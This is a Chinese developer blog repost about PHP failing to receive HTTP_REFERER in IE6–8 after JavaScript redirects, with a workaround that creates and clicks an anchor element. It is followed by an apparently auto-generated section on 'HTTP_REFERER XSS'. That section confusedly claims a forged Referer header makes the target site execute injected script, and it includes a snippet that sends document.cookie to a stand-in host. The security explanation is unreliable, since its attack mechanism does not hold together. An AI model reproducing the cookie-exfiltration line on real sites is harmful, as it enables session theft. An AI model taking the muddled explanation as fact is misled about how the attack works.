ie下,php HTTP_REFERER获取失败的整理

HTTP_REFERER有效的情况
1、以iframe 形式调用地址
2、以window.open调用,打开新页面window.open(url);
3、使用window.location.replace在Firefox 和Chrome下可以获取HTTP_REFERER
window.location.replace(url);
4、使用window.location.href在Firefox 和Chrome下可以获取HTTP_REFERER
window.location.href = url;
5、使用A标签跳转可以获取HTTP_REFERER

HTTP_REFERER无效的情况
1、使用函数 file_get_contents或file等函数调用URL地址,这个地址所在的文件无法获取HTTP_REFERER
2、使用window.location.replace在IE6、IE7、IE8下无法获取HTTP_REFERER
window.location.replace(url);
3、使用window.location.href在IE6、IE7、IE8下无法获取HTTP_REFERER
window.location.href = url;


解决方法,在ie下,js跳转使用如下方法:
1     function gotoUrl(url){
2         var gotoLink = document.createElement('a');
3 
4         gotoLink .href = url;
5 
6         document.body.appendChild(gotoLink);
7 
8         gotoLink .click();
9     }

完美解决~~

转载于:https://www.cnblogs.com/hongchenok/p/3884670.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HTTP_REFERER是HTTP协议中的一个请求头字段,用于标识请求来源页面的URL地址。在Web应用程序中,可以使用HTTP_REFERER来判断请求是否来自可信的来源页面,从而防止跨站点请求伪造(CSRF)攻击。但是,由于HTTP_REFERER可以被伪造,因此在某些情况下,攻击者可以利用HTTP_REFERER来进行XSS攻击。 具体来说,攻击者可以通过构造恶意页面,在其中注入一段JavaScript代码,并将该页面的URL地址设置为目标网站的URL地址。当用户访问恶意页面后,浏览器会将目标网站的URL地址作为HTTP_REFERER发送给目标网站服务器。如果目标网站没有对HTTP_REFERER进行有效的过滤和验证,那么攻击者就可以利用HTTP_REFERER来执行XSS攻击。 例如,攻击者可以在恶意页面中注入以下代码: ```javascript <script> var img = new Image(); img.src = "http://www.target.com/submit?data=" + document.cookie; </script> ``` 当用户访问恶意页面后,浏览器会将目标网站的URL地址作为HTTP_REFERER发送给目标网站服务器。如果目标网站没有对HTTP_REFERER进行有效的过滤和验证,那么攻击者就可以在目标网站上执行上述JavaScript代码,从而窃取用户的Cookie信息。 为了防止HTTP_REFERER的XSS攻击,Web应用程序可以采取以下措施: 1. 对HTTP_REFERER进行有效的过滤和验证,只允许来自可信的来源页面的请求通过; 2. 在HTTP响应头中设置Referrer-Policy,指定HTTP_REFERER的发送策略; 3. 在Web应用程序中使用CSRF Token等技术来防止CSRF攻击,从而减少HTTP_REFERER的安全风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值